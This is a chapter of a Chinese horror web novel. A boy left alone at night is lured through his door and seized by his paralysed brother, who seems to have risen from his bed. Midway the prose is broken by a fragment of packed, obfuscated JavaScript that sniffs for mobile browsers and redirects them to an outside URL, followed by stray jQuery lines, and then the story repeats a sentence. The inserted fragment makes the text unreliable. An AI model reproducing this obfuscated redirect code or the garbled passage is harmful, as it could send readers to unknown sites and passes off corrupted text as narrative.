冷硬的馒头并不好啃，干得噎人，还会掉很多碎末，将所有的唾液都吸干净。李栓儿舀了点水，和着馒头下肚，终于艰难地咽下，胃里泛起一阵疼痛。


    他习以为常，将馒头吃完后，把落在桌上的碎末用指头粘走，放进嘴里……


    这样如同死水一般可怕的日子依旧在持续着。


    唯一的好处，大概就是李父看着每况愈下的大儿子，对于小儿子的态度变好了许多，不再介意他的命理，也不再非打即骂。


    但这个不知道如何自己过日子的人，在媳妇离开后，越来越不修边幅，过得颓废萎靡，邋里邋遢。靠着零活勉强得到的零星报酬，也被他全部拿来解酒瘾用了。


    之后的一天，李父出去了一趟，回来时忽然兴高采烈起来，破天荒地对李栓儿有了好脸色，交代自己要出去一趟。


    然后就翻箱倒柜找出了搁置许久的干活家伙，拖着他那条残腿离开了。


    这一去起码就是十天半个月，和以前李栓儿哥哥出去干活时一样。


    如果不是他走时留了粮食和一点银钱，李栓儿几乎以为他也要和母亲一样，将他们抛下后一走了之了。


    但是今时今日，李父一离开，家里相当于只剩下他一个人了，还是个小孩子。


    即使李栓儿再怎么早慧，也忍不住感觉到害怕。


    黑暗本就令人恐惧，而哥哥那模糊不清的嗓音在黑夜中，如同冤魂的哀叫，伴着屋外时不时鬼哭狼嚎般的风声，还会掩盖住所有其他异样的声响。


    李栓儿将门窗全都插得严严实实的，依旧忍不住心惊肉跳。一开始根本不敢睡，抱着被子缩在屋内床脚，实在熬不住了才能眯上一会儿。


    在第十四天夜里，一向彻夜喊叫的哥哥忽然没了声音，一反常态的安静反而更让人心悸。


    李栓儿没有勇气去哥哥单住的那间屋内查看，只能把自己的屋门关得更严实，然而内屋的门不过是薄薄一张门板，门闩也是薄薄一片，远不如正堂的门那么结实厚重，不能给他带来安全感。


    李栓儿用尽气力，将所有能搬来的东西都堆到门口抵住屋门，却又不敢回到床上，只能坐在门边。


    他百思不得其解。


    父亲虽然放弃了哥哥，但或许还有几分血缘情谊在，会时不时收拾一下，喂哥哥几口吃食。哥哥又几乎不活动，即使喂得少，也不至于让他立刻饿死。


    如今已经萎缩消瘦得双颊凹陷，皮包骨头，但依旧还能维持生命。


    为什么会没有声音了呢？


    是哥哥突然不行了，还是有歹人进来，将他杀害了？


    李栓儿侧耳细听，没了哥哥那彻夜不眠嚎叫，周围一下子变得过于安静。


    窗子关的严实，也没有月光。黑暗像是噬人的恶鬼，剥夺视觉，即使他将自己的手放在眼前晃悠，也无法看清一点五指的轮廓，这样的感觉增加了心中的恐慌与无助。


    李栓儿长这么大以来，从来没有一刻，像现在这般想念自己那个令人生厌的父亲。


    在这样的战战兢兢中，听觉却变得更加敏锐，让他轻易地捕捉到了一种物体在地上拖拽挪动的声音。


    缓慢、沉重、由远及近。


    在这样一个漫长的黑夜中无限地拉长、放大。


    李栓儿努力分辨着那不知名的声音，像是平时李父拖着那条废腿走路时会发出来的，尤其是喝醉了酒之后，打着酒嗝满身酒臭时，那种难以支撑身体摇摇晃晃、迟钝又扭曲的步态。


    难道是父亲回来了？而且又喝醉了？


    可是为什么深更半夜的才回来？外面的门是从里锁住的，他是如何进来的？


    而且他回来了，哥哥怎么就不喊了？


    李栓儿想不通，但如果真的是父亲，那他可以放下心了。


    然而，还没等李栓儿稍微缓一口气，就听到了对面的开门声，同样破旧的门轴发出吱呀声，冗长粗哑，像是从他的神经上碾过。


    对面的那间里屋，是哥哥住的。


    只要穿过不算宽敞的正堂，就会来到李栓儿所在的门口。


    李栓儿屏息听着房门外的动静，紧张得心脏激烈跳动的声音就在耳边不断回荡。


    轻微的窸窸窣窣声响起，而后又是那种迟钝、僵硬的脚步。


    但这一次，即使屏住呼吸，李栓儿依旧感受到了那股直冲鼻腔、令人作呕的臊臭味和腐烂味。


    随着脚步，离他越来越近，似乎就要走到近前。


    黑暗中，他难以置信地睁大了眼睛。


    一门之隔，门外的是他瘫痪在床、已经病重萎缩得不成人形的哥哥？


    李栓儿惊恐地想要尖叫出声，但喉咙中有股力量在死死地压制着他的惊叫，想要活下去的本能逼迫他不能发出声音。


    气味越来越重，熏得他眼睛疼，他知道，对方与自己之间只隔了这层薄薄的门板。


    怎么可能？


    一个被砸断了脊柱，卧床许久，还精神失常了的人，怎么可能突然好了起来。


    但门外的味道骗不了人。


    而且李栓儿听到了对方在叫他的名字，像是曾经忙碌归来，哄他开心时一样。


    “哥哥带你去赶集。”


    “买你爱吃的糖人。”


    “把门打开。”


    “去捞鱼也行，回来给你煮汤喝。”


    敲门声突兀地响起，吓得李栓儿几乎惊跳起来。


    口齿清晰，敲门的频率稳定又迅速，根本不可能是他那个病重的哥哥能做出来的动作。


    可声音是那样的熟悉，气味又是那么的刺鼻。


    怎么可能……


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970801|146701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >怎么可能……


    一定是梦，他一定是在做梦。


    只是事与愿违，敲门的动静越来越大，木门框框作响，力道之大像是要把门板震碎。单薄的门闩发出哗啦哗啦的碰撞声，摇摇欲坠。


    李栓儿蜷缩在门边的杂物旁，分明离木门还有一段距离，可那晃动的门板似乎能拍击到他的后背，他抱着脑袋祈求着快点从噩梦中惊醒，或者天快些亮起来。


    而那种柔和的声音仍在继续，与这撞门似的响动格外割裂。


    往日难得的快乐回忆与如今的恐惧重叠，让他惊恐到极致，筛糠一般地抖着。


    然而，等他回过神时，他惊觉自己竟然已经移开了挡门的东西，打开了门。


    手扶着木门，冰凉的门闩就硌在手心，不算很冷的初秋，李栓儿却一瞬间吓出了一身冷汗，但门外并没有人，刚才的惊惶仿佛只是他的错觉。


    唯有鼻腔中难以忽略的浓郁臭味和一种奇怪的味道，仍然提醒着他先前的一切都是真实的。


    黑暗中，隔着正堂这点距离，他看不清对面的门究竟是关着的，还是敞开的。


    他僵硬地弯起手臂，想要把自己这屋的木门赶紧关上。


    忽然，身后带来细微的气流，李栓儿忽然感觉身体一轻，更浓郁的味道直冲肺腑，逼得他干呕起来。


    有什么从身后抱起了他，呼吸就落在他头顶，李栓儿惊骇欲绝大力挣扎起来。


    对方像曾经一样，亲切自然地托着他。但那枯瘦的手臂只剩下皮包骨，横在胸口勒得他生疼，五指如干柴，死死掐着他的肩膀。


    难闻的气味逼得李栓儿眼泪狂流，他试图扒开锢着他的铁爪，整个人疯了一样地挣扎，想要逃离这个曾经他最喜欢的怀抱。


    李大枯瘦萎缩的身躯不知道哪来的这么大力气，稳稳地站着，李栓儿这么剧烈地挣扎，都逃不开他的束缚。


    他失声大叫着：“放开我！放开我！救命啊！”


    这样的乡野山村里，邻里离得并不算近，但大声喊叫应当也是听得见的。周围的村民因为李大平时无法控制的喊叫，许多次找上门来过，可是对于精神出了问题的人来说，再怎么说叫也无济于事。


    而这个黑夜，李栓儿如此声嘶力竭的叫喊，依旧没有任何人回应，就好像他的喊声根本没有传出这间屋子。


    李栓儿吓得魂不附体，但抱着他的李大却并没有再做出其他举动，也停止了先前撞门时的疯言疯语。


    伸手不见五指的漆黑里，李栓儿被泪水糊住的视线更看不清眼前的情况，只听到断断续续的微弱声音：“跑……跑……”


    这呢喃低语不断地在他耳边回荡，像是怨鬼索命，极有节奏地敲击着他的心脏。抱着他的手臂却越勒越紧，窒息感铺天盖地袭来，让他逐渐连挣扎的力气都失去了。